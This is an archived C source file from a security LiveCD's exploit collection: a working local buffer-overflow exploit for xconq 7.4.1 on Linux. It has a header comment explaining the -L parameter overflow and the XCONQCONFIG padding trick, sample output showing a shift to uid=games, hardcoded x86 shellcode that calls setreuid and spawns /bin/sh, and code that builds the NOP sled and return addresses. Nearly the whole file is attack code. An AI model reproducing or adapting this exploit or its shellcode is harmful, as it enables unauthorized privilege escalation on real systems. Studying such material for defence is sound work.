home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / games / xconq / xxconq.c < prev   
C/C++ Source or Header  |  2005-02-12  |  5KB  |  159 lines

  1. /* (linux)xconq[v7.4.1] local buffer overflow, by:
  2. v9[v9@fakehalo.org].  this
  3.     will give you uid=games on systems with
  4. xconq.  this exploit was slightly
  5.     more work than i thought it was going to be. 
  6. i originally wrote this
  7.     exploit for the -g parameter.  but, via the -g
  8. parameter you must have a
  9.     display.  via ths -L parameter you do not need
  10. a display, but it is much
  11.     more exact.  in this method you have to fill
  12. the XCONQCONFIG environmental
  13.     variable to a certain point to be able to
  14. overwrite the eip via the -L
  15.     parameter.  (64 bytes is more than enough).  i
  16. also needed to modify some
  17.     shellcode for this.  all in all, too much work
  18. for what it is worth.
  19.  
  20.     example(test usage):
  21. ------------------------------------------------------------------------------
  22. bash# echo id|(id;cc xxconq.c -o xxconq;./xxconq
  23. -5000 0 20 507)
  24. fakehalo: uid:1000 gid:100. [euid:1000 egid:100]
  25. [ (linux)xconq[v7.4.1] local buffer overflow, by:
  26. v9[v9@fakehalo.org]. ]
  27. *** [data]: addr: 0xbffffdc4, offset: -5000,
  28. alignment: 0, uid: 20, cap: 507.
  29. *** [data]: sizeof(bofeip): 512, sizeof(env):
  30. 4096, sizeof(push): 64, nop=3579.
  31.  
  32.               Welcome to X11 Xconq version 7.4.1
  33. (Dec 2000)
  34.  
  35. Xconq is free software and you are welcome to
  36. distribute copies of it
  37. under certain conditions; type "o copying" to see
  38. the conditions.
  39. There is absolutely no warranty for Xconq; type "o
  40. warranty" for details.
  41. fakehalo: uid:20 gid:100. [euid:20 egid:100]
  42. bash#
  43. ------------------------------------------------------------------------------
  44.  
  45.     note: built and tested on slackware.  some
  46. other overflowable functions i
  47.           will mention are the -g parameter and
  48. the XCONQLIB environmental
  49.           variable,  both of those overflows
  50. require a display to exploit.
  51.           this program also has an odd usage of
  52. setuid(); in it to drop its
  53.           privileges -- making it possible to
  54. break.  and yes, i squished the
  55.           code together on purpose.  why? i am a
  56. *x80 resolution kinda guy :/.
  57. */
  58. #define PATH "/usr/local/bin/xconq"     // path to
  59. xconq7.4.1.
  60. #define DEFAULT_ALIGN 0                 // generic
  61. alignment.
  62. #define DEFAULT_OFFSET -5000            // generic
  63. offset. (from bufsize)
  64. #define DEFAULT_UID 20                  // user id
  65. of games.
  66. #define DEFAULT_CAP 507                 // exact
  67. buffer cut off point.
  68. #define FILLER 0x78                     // filling
  69. character, for misc use.
  70. static char exec[]= // setreuid()+exec():
  71. v9@fakehalo.org.
  72.  
  73. "\x31\xdb\x31\xc9\xbb\xff\xff\xff\xff\xb1\x00\x31\xc0\xb0\x46\xcd\x80\x31\xdb"
  74.  
  75. "\x31\xc9\xb3\x00\xb1\x00\x31\xc0\xb0\x46\xcd\x80\xeb\x24\x5e\x8d\x1e\x89\x5e"
  76.  
  77. "\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12"
  78.  
  79. "\x8d\x4e\x0b\x8b\xd1\xcd\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff\x2f\x62"
  80.  "\x69\x6e\x2f\x73\x68\x01";
  81. long esp(void){__asm__("movl %esp,%eax");}
  82. int main(int argc,char **argv){
  83.  char bofeip[512],env[4096],push[64];int
  84. i,offset,align,uid,cap;long ret;
  85.  printf("[ (linux)xconq[v7.4.1] local buffer
  86. overflow, by: v9[v9@fakehalo.org]"
  87.  ". ]\n");
  88.  
  89. if((argv[1]&&!strcmp(argv[1],"-h"))||(argv[1]&&!strcmp(argv[1],"--help"))){ 
  90.   printf("*** [syntax]: %s [offset] [alignment]
  91. [user id] [capoff buffer value"
  92.   "].\n",argv[0]);
  93.   printf("*** [required]: argument alignment value
  94. must be: 0-3.\n");
  95.   printf("*** [required]: argument user id value
  96. must be: 1-255.\n");
  97.   printf("*** [required]: argument cap value must
  98. be: 1-%d.\n",sizeof(bofeip));
  99.   exit(0);
  100.  }
  101.  
  102. if(argc>1){offset=atoi(argv[1]);}else{offset=DEFAULT_OFFSET;}
  103.  if(argc>2){
  104.   if(atoi(argv[2])>3||atoi(argv[2])<0){
  105.    printf("*** [error]: ignored argument alignment
  106. value: %s. (use 0-3)\n",
  107.    argv[2]);align=DEFAULT_ALIGN;   
  108.   }
  109.   else{align=atoi(argv[2]);}
  110.  }
  111.  else{align=DEFAULT_ALIGN;}
  112.  if(argc>3){
  113.   if(atoi(argv[3])<1||atoi(argv[3])>255){
  114.    printf("*** [error]: ignored argument uid
  115. value: %s. (use 1-255)\n",
  116.    argv[3]);uid=DEFAULT_UID;
  117.   }
  118.   else{uid=atoi(argv[3]);}
  119.  }
  120.  else{uid=DEFAULT_UID;}
  121.  if(argc>4){
  122.  
  123. if(atoi(argv[4])<1||atoi(argv[4])>sizeof(bofeip)){
  124.    printf("*** [error]: ignored argument cap
  125. value: %s. (use 1-%d)\n",argv[4],
  126.    sizeof(bofeip));cap=DEFAULT_CAP;
  127.   }
  128.   else{cap=atoi(argv[4]);}
  129.  }
  130.  else{cap=DEFAULT_CAP;}
  131.  
  132. ret=(esp()-offset);for(i=0;i<align;i++){bofeip[i]=FILLER;}
  133.  for(i=align;i<(sizeof(bofeip)-4);i+=4){*(long
  134. *)&bofeip[i]=ret;}
  135.  bofeip[cap]=0x0;
  136.  
  137. for(i=0;i<(sizeof(env)-strlen(exec)-strlen(bofeip));i++){env[i]=0x90;}
  138.  
  139. exec[10]=uid;exec[22]=uid;exec[24]=uid;memcpy(env+i,exec,strlen(exec));
  140.  env[(i+strlen(exec))]=0x0;printf("*** [data]:
  141. addr: 0x%lx, offset: %d, alignm"
  142.  "ent: %d, uid: %d, cap: %d.\n*** [data]:
  143. sizeof(bofeip): %d, sizeof(env): %d,"
  144.  " sizeof(push): %d,
  145. nop=%d.\n",ret,offset,align,uid,cap,sizeof(bofeip),
  146.  
  147. sizeof(env),sizeof(push),(strlen(env)-strlen((char
  148. *)strrchr(env,0x90))+1));
  149.  
  150. setenv("EXEC",env,1);memset(push,FILLER,sizeof(push));
  151.  
  152. push[sizeof(push)]=0x0;setenv("XCONQCONFIG",push,1);
  153.  if(execl(PATH,PATH,"-L",bofeip,0)){
  154.   printf("*** [error]: could not execute %s
  155. properly.\n",argv[0]);
  156.   exit(-1);
  157.  }
  158. }
  159.